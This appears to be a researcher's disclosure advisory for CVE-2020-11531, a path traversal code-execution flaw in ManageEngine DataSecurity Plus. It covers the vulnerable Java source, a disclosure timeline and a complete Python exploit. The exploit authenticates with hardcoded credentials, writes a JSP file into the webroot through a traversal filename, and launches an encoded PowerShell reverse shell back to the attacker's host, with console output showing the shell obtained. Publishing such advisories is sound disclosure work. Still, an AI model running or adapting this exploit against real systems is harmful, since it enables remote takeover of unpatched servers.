Sahil Dhar Application Security and Exploitation all day everyday.

CVE-2020-11531 DataSecurity Plus Xnode Server - Path Traversal Code Execution Vulnerability

05 May 2020

ManageEngine DataSecurity Plus’s DataEngine Xnode Server application does not validate the database schema name when handling DR-SCHEMA-SYNC request. This allows an authenticated attacker to execute code in the context of DataSecurity Plus application by writing a JSP file in the webroot directory using a directory traversal attack.

Identifiers

  • CVE-2020-11531

CVSSv3 score

8.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H)

Vendor

ManageEngine - https://www.manageengine.com/data-security/

Product

ManageEngine DataSecurity Plus is a two-pronged solution for fighting insider threats, preventing data loss, and meeting compliance requirements. It provides realtime monitoring of filesystem there by help in maintaining the file integrity and combating against ransomeware attacks using automated threat response mechanisms. It comes with the features such as File Server Audting, Data Leak Prevention and Data Risk assessment.

Affected versions

  • All versions prior to 6.0.1 (6011)

Vulnerability summary

ManageEngine DataSecurity Plus’s DataEngine Xnode Server application does not validate the database schema name when handling DR-SCHEMA-SYNC request. This allows an authenticated attacker to execute code in the context of DataSecurity Plus application by writing a JSP file in the webroot directory using a directory traversal attack.

Technical details

Upon receiving the DR-SCHEMA-SYNC request, the application calls the syncDRSchemas() function of DataRepositoryManager class at line: 109 of DataRepositoryManager.java from dataengine-xnode.jar package.

As can be seen at line:126 of function syncDRSchemas(), the function concatenates the name of database schema while generating the filename dynamically and write the values passed in a JSON object to it.

109:  public static JSONObject syncDRSchemas(DataRepositoryActionRequest request) throws Exception {
110:    JSONObject jResponse = new JSONObject();
111:    JSONObject jSchemas = request.drSchemaListObj();
112:    File schemasFolder = ((Path)Environment.XNODE_DR_SCHEMA_DIR.value()).toFile();
113:    schemaMap = new ConcurrentHashMap();
114:    if (!schemasFolder.exists()) {
115:      schemasFolder.mkdirs();
116:    }
117:    if (schemasFolder.isDirectory()) {
118:      File[] schemaFileList = schemasFolder.listFiles();
119:      for (File schemaFile : schemaFileList) {
120:        schemaFile.delete();
121:      }
122:    }
123:    Iterator iterator = jSchemas.keys();
124:    while (iterator.hasNext()) {
125:      String key = (String)iterator.next();
126:      BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(Environment.XNODE_DR_SCHEMA_DIR.value() + File.separator + key)));
127:      bw.write(jSchemas.getJSONObject(key).toString(2));
128:      bw.close();
129:      Object schema = new XNodeDRSchema(key.replace(".json", ""), jSchemas.getJSONObject(key));
130:      schemaMap.put(((DRSchema)schema).getSchemaName(), schema);
131:      LOGGER.info("SYNCHED : DataRepository Schema '" + key + "'");
132:    }
133:    checkFieldWithMultipleDataTypes();
134:    jResponse.put("error_code", 0);
135:    return jResponse;
136:  }

Proof of concept

Using the following exploit code, we can observe that by sending a DR-SCHEMA-SYNC request to the DataEngine XNode server with specially crafted schema name, one can write files to the webroot directory of DataSecurityPlus application and execute arbitrary JAVA code.

exploit.py

#!/usr/bin/env python
# Author: Sahil Dhar(@0x401)

import socket
import sys
import requests
import telnetlib
import threading
import os

from time import sleep
from base64 import b64encode
from requests.packages.urllib3 import disable_warnings
from requests.packages.urllib3.exceptions  import InsecureRequestWarning

def reverse_tcp_handler(lport):
    print("[+] Starting reverse handler on port %d" %(lport))
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("0.0.0.0", lport))
    s.listen(1)
    conn, addr = s.accept()
    print("[+] Got connection from %s" % addr[0])
    t.sock = conn
    print("[+] whoami ?")
    t.write(b"whoami\n")
    t.interact()


def get_bytearray_payload(lhost,lport):
	cmd = "$client = New-Object System.Net.Sockets.TCPClient('"+lhost+"',"+str(lport)+");$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

	r_cmd = ""
	for c in cmd:
		r_cmd += c
		r_cmd += "\x00"

	payload = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc "%s"' %(b64encode(r_cmd.encode('utf-8'))).decode('utf-8')
	
	r = ""
	for i in payload:
		r += str(ord(i))
		r += ", "
	r = r[0:-2]
	return r


def send_payload(rhost, rport, web_port, lhost, lport):
	auth = '{"username":"atom","password":"chegan","request_timeout":10,"action":"session:/authenticate"}'
	shell = '{"action":"dr:/dr_schema_sync","request_id":2, "dr_schema_list":{"../../../../../webapps/fap/poc.jsp":{"a":"<% Runtime.getRuntime().exec(new String(new byte[] {'+get_bytearray_payload(lhost, lport)+'})); %>"}}}'
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((rhost,int(rport)))
	s.send(auth.encode('utf-8'))
	sleep(1)
	s.send(shell.encode('utf-8'))
	print("[+] Triggering the shell...")
	r = requests.get("http://%s:%d/poc.jsp" %(rhost, web_port))

def main():
	help="%s <rhost> <rport> <web_port> <lhost> <lport>" %(os.path.basename(__file__))
	if len(sys.argv) < 6:
		print(help)
		os._exit(1)
	disable_warnings()
	rhost = sys.argv[1]
	rport = int(sys.argv[2])
	web_port = int(sys.argv[3])
	lhost = sys.argv[4]
	lport = int(sys.argv[5])
	th = threading.Thread(target=reverse_tcp_handler, args=(lport,))
	th.start()
	send_payload(rhost, rport, web_port, lhost, lport)



if __name__=="__main__":
	main()


#~ python3 exploit.py 192.168.56.108 29119 8800 192.168.56.1 4444
[+] Starting reverse handler on port 4444
[+] Triggering the shell...
[+] Got connection from 192.168.56.108
[+] whoami ?
windowsx64-pc\windowsx64
PS C:\Program Files (x86)\ManageEngine\DataSecurity Plus\bin>

Timeline

Date Status
04-MAR-2020 Reported to vendor
13-MAR-2020 Patch available
05-MAY-2020 Public disclosure

Related Posts